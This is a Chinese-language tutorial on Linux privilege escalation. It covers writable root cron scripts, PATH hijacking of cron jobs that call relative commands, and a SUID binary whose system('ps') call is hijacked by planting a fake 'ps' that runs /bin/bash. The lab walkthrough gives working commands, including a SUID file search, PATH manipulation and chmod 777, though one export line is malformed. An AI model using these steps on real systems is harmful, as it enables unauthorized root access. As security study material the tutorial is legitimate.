Linux 提权之 计划任务和环境变量提权
1、文件重写
计划任务由 crontab 管理,非 root 用户是无法列出 root 用户的计划任务的,但可以列出 /etc 的系统任务,系统任务默认是 root 权限运行的
ls -l /etc/cron*
如果我们有幸有权限能更改其中一个任务指定的脚本,就可以往脚本里添加如反弹 shell 等指令,从而提权.
2、环境变量劫持
查看定时任务:
发现定义了诸多环境变量,如果其任务有 未指定绝对路径的指令,如
17 * * * * root shell.sh
而且我们在其环境变量路径中可以进行写入操作,那么我们可以通过写入环境变量的靠前路径一个同名恶意文件从而导致环境变量劫持。
比如在 /sbin 写入一个 反弹 shell 功能的 shell.sh,那么就可以造成提权。
3、环境变量提权
如果我们找到一个 suid 权限的程序,但是我们无法完成 suid 提权,就可以试试搭配环境变量进行提权。
提权方法的思想:
找到有 suid 的,内部有 system 函数调用未指定路径的命令的文件。同时用户有修改自己环境变量的权限,就可以通过劫持 system 函数里调用的脚本文件,使其指向环境变量里自行创建的一个同名脚本文件,那么这个自行创建的同名脚本文件就能以 root 权限运行了,如果这个脚本文件里的命令是 /bin/bash,那么就相当于提权了。
实例操作:
配置靶场。首先创建文件:
vim demo.c
gcc demo.c -o shell 将其编译为可执行文件
chmod u+s shell 为其增加 suid 权限
攻击者视角:
搜寻 suid 权限文件:
find / -perm -u=s -type f 2>/dev/null
发现可疑目标shell文件,执行一下看看
发现返回了 ps 命令的结果,以此猜测这个文件内部 有 system (“ps”); 这条 c 语言代码。
于是 尝试环境变量提权:
cd /tmp
echo "/bin/bash" > ps
export $PATH=/tmp:$PATH 需要修改自身环境变量的权限,但基本上都有这个权限
chmod 777 ./ps 没这条命令会导致提权失败
cd /home/const27
./shell 提权成功